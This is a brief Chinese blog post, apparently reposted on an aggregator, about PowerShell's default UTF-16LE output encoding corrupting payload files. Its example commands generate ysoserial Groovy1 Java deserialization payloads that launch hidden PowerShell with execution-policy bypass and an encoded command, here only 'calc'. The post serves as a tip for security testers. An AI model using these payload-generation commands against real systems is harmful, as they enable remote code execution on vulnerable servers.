powershell 中文系统默认UTF-16 (LE) UNICODE编码 使用时需小心
Posted primzahl
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了powershell 中文系统默认UTF-16 (LE) UNICODE编码 使用时需小心相关的知识,希望对你有一定的参考价值。
现象:
1.cmd生成payload
java -jar ysoserial.jar Groovy1 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc YwBhAGwAYwA=" > payload.bin
2.powershell生成payload
java -jar ysoserial.jar Groovy1 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc YwBhAGwAYwA=" > payload2.bin
第二次生成:
java -jar ysoserial.jar Groovy1 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc YwBhAGwAYwA=" | Out-File -Encoding default payload3.bin
3.结果对比
4.学习
https://wenku.baidu.com/view/768a052b915f804d2b16c149.html
以上是关于powershell 中文系统默认UTF-16 (LE) UNICODE编码 使用时需小心的主要内容,如果未能解决你的问题,请参考以下文章
在 Powershell 中将 UFT-8 xml 转换为 Unicode 时,$encoding 属性值在输出 xml 中显示 bigEndianUnicode,我想要 UTF-16